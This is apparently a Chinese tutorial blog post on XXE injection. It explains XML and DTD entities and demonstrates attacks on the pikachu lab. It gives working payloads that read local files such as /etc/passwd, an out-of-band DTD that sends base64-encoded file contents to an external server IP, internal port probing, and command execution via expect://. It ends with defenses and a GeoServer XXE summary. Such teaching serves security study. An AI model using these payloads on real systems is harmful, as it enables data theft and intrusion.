XXE漏洞

XXE漏洞原理

  XXE漏洞全称XML External Entity Injection, 即xml外部实体注入漏洞,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口 扫描、攻击内网网站等危害。
  漏洞成因是因为在应用程序解析XML文件是,没有禁止加载外部实体加载,导致加载了恶意的外部文件。

了解XML

  XML被设计为数据和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可 选)、文档元素,其焦点是数据传输工具。

XML作用:
1.可以用来保存数据;可以用来做配置文件;数据传输载体。
2.XML使用元素和属性描述数据。在数据传送过程中,XML始终保留了诸如父/子关系这样的数据结构。几个应用程序可以共享和解析同一个XML文件。

XML与HTML的主要差异:
1.XML被设计为传输和存储数据,其焦点是数据的内容。

2.HTML被设计用来显示数据,其焦点是数据的外观。
3.HTML旨在显示信息,而XML旨在传输信息。

XML文档结构包括:
XML声明
DTD文档类型定义(可选)
文档元素
xml文档:

<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>
<!--DTD,这部分可选的-->          
<!DOCTYPE foo [ 
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<!--文档元素-->                                                                          
<foo>&xxe;</foo>

XML树结构
在这里插入图片描述
XML 文档必须包含根元素。该元素是所有其他元素的父元素。
XML 文档中的元素形成了一棵文档树。这棵树从根部开始,并扩展到树的最底端。

DTD概念及声明/引用方式

DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。(DTD就是XML文档的格式规范)

(1)内部声明DTD,如果实体是在DTD中声明的,则称为内部实体。
语法:<!DOCTYPE 根元素[元素声明]>
(2)引用外部DTD

<!DOCTYPE 根元素 SYSTEM “文件名”>
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

DTD的作用:
1.通过 DTD,的每一个 XML 文件均可携带一个有关其自身格式的描述。
2.通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。
3.应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。
4.还可以使用 DTD 来验证您自身的数据。

DTD实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用就是对实体的引用。实体可以在内部或外部进行声明。
内部实体:
在这里插入图片描述
外部实体:
在这里插入图片描述
这里用(&实体名;)引用实体,在DTD中定义,在XML文档中引用。

外部实体类型
在这里插入图片描述
XML实体
  XML中的实体分为五种:字符实体、命名实体、内置实体、外部实体、参数实体。普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义需要加上SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。如果不加SYSTEM关键字,则为内部实体,表示实体指代为字符串。
1.字符实体
指用十进制格式(&#aaa;)或十六进制格式(પ)来指定任意Unicode字符。对XML解析器而言,字符实体与直接输入字符串的效果完全相同。
2.命名实体
也称为内部实体,在 DTD 或内部子集(即文档中 <!DOCTYPE> 语句的一部分)中声明,在文档中用作引用。

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://test/1.txt" >]>       
<value>&xxe;</value>

3.外部实体
外部实体表示外部文件的内容,用SYSTEM关键词表示。<!ENTITY test SYSTEM "1.xml">

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything [
<!ENTITY entityex SYSTEM "file:///etc/passwd">
]>
<abc>&entityex;</abc>

  在上面的代码中, XML外部实体 ‘entityex’ 被赋予的值为:file://etc/passwd。在解析XML文档的过程中,实体’entityex’的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。 关键字’SYSTEM’会告诉XML解析器,’entityex’实体的值将从其后的URI中读取,并把读取的内容替换entityex出现的地方。
  假如 SYSTEM 后面的内容可以被用户控制,那么用户就可以随意替换为其他内容,从而读取服务器本地文件(file:///etc/passwd)或者远程文件(http://www.baidu.com/abc.txt)
4.参数实体
  参数实体只用于DTD和文档的内部子集中,XML的规范定义中,只有在DTD中才能引用参数实体,参数实体的声明和引用都是用%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。该类型的实体用“%”字符(或十六进制编码的%)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容:
在这里插入图片描述
使用格式:

<!ENTITY % 实体名称 "实体的值"> <!ENTITY % 实体名称 SYSTEM "URI">

参数实体只能在 DTD文件中被引用,其他实体在XML文档内引用。参数实体在DTD中解析优先级高于xml内部实体

5.内置实体
内置实体为预留的实体
实体引用字符
< <
> >
& &
" "
’ ’
内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
关于实体嵌套的情况,比较幸运的是DTD中支持单双引号,所以可以通过单双引号间隔使用作为区分嵌套实体和实体之间的关系;在实际使用中,我们通常需要再嵌套一个参数实体,%号是需要处理成 % 如下:

<!ENTITY % param1 '<!ENTITY % xxe SYSTEM "http://evil/log?%payload;" >'

%也可写为16进制%

XXE漏洞演示

1.任意文件读取(回显)
靶场:pikachu
payload:

<?xml version = "1.0"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///D:/text/text.txt">
]>
<x>&xxe;</x>

在这里插入图片描述
使用外部实体DTDpayload:
这种利用方法需要应用程序开启引入外部实体,不然此方法行不通。

<?xml version = "1.0"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "http://30.144.25.14:8081/evil2.dtd">
]>
<x>&send;</x>

evil2.dtd:
<!ENTITY send SYSTEM "file:///D:/text/text.txt">

首先构造file这个XML实体提交,file访问远程服务器(30.144.25.14:8081)evil2.dtd,evil2.dtd是执行文件读,数据给send 。
2.任意文件读取(无回显)
payload:

输入到输入框并提交:
<?xml version = "1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/text/text.txt">
<!ENTITY %dtd SYSTEM "http://30.144.25.14:8081/text.dtd">
%dtd;
%send
]>

自己服务器上面构造text.dtd:
<!ENTITY % payload
"<!ENTITY &#x25; send SYSTEM
'http://30.144.25.14:8081/?data=%file;'>"
%payload;

上面构造的payload,1.%file读取文件,2.%dtd访问外部实体,3.这个外部实体请求了http://30.144.25.14:8081并且带上了%file的值。在服务器上写一段接受data值的代码,或者开启日志就能查看到外带的%file数据了。

在读取文件时,文件中包含“<>&”等特殊符号,会被xml解析器解析,报错从而导致读取失败。

3.内网探针,内网攻击。
payload:

<?xml version = "1.0"?>
<!DOCTYPE nei [
<!ENTITY nei ANY >
<!ENTITY xxe SYSTEM "http://192.168.1.103:80/1.php">
]>
<x>&xxe;</x>

根据页面返回判断是否存在该IP,是否开放该端口号。

4.RCE
前提条件:PHP环境里需要安装expect扩展才能执行系统命令
payload:

<?xml version = "1.0"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "expect://ipconfig">
]>
<x>&xxe;</x>

还有很多XXE利用案例,可参考文章最后的链接。

XXE漏洞挖掘

代码审计:
1.函数一可控变量查找
PHP解析XML函数:
XML Parser使用Expat XML解析器用到的函数xml_parse_into_structxml_set_element_handler
SimpleXML是PHP5后提供的一套简单易用的xml工具集,用到的方法simplexml_import_dom、simplexml_load_file、simplexml_load_string
XMLReader也是PHP5之后的扩展(5.1后默认安装)
DOMDocument

2.传输和存储数据格式类型
黑盒:
人工:
1.数据格式类型判断
test
GL75F564G1=
2.Content-Type值判断
Content-Type:text/xml
Content-Type:application/xml
3.更改值看返回。
如果Content-Type是json,不是Content-Type:application/xml或text/xml,
那么可以把json改成application/xml或text/xml,看页面返回,页面正确的话说明解析了XML,可以进一步测试。
工具:
XXEinjiector

XXE防御

1.使用开发语言提供的禁用外部实体的方法
2.过滤用户提交的XML数据过滤关键字:<!DOCTYPE和</!ENTITY,或者SYSTEM和PUBLIC
3.不允许XML中含有自己定义的DTD

XXE绕过
参考:https://www.cnblogs.com/pursue-security/p/15273818.html#_label1_1

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Geoserver是一个开源的地理信息系统(GIS)软件,它用于发布和共享地理数据和服务。然而,Geoserver在某些情况下可能存在一个称为XXE(XML外部实体)漏洞XXE漏洞是一种安全漏洞,攻击者可以利用该漏洞来读取本地或远程服务器上的文件。这种漏洞通常是由于应用程序在处理XML输入时,对外部实体的处理不当而引起的。 具体到Geoserver的XXE漏洞,它可能会受到XML实体注入攻击。攻击者可以通过向Geoserver发送包含恶意XML实体引用的请求,来读取系统上的敏感文件或执行任意代码。 为了防止Geoserver XXE漏洞的利用,有几个关键的步骤可以采取: 1. 更新Geoserver:确保您使用的是最新版本的Geoserver。开源软件的维护者通常会修复已知的漏洞,并在新版本中发布修复程序。 2. 安全的配置文件处理:确保Geoserver的配置文件中没有不必要的文件,因为攻击者可能会利用这些文件访问敏感信息。 3. 过滤和验证用户输入:在输入和输出时,对用户提交的XML数据进行充分验证和过滤。这将有助于防止输入的恶意XML实体被执行。 4. 强化安全意识:向Geoserver用户和管理员提供适当的培训,以提高他们对安全问题的意识。这将有助于减少社会工程学攻击和恶意操作。 总之,Geoserver XXE漏洞是一种可以利用的安全漏洞,但通过更新软件、安全配置文件处理、过滤验证用户输入和提高安全意识,可以有效地减少这种漏洞的风险。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值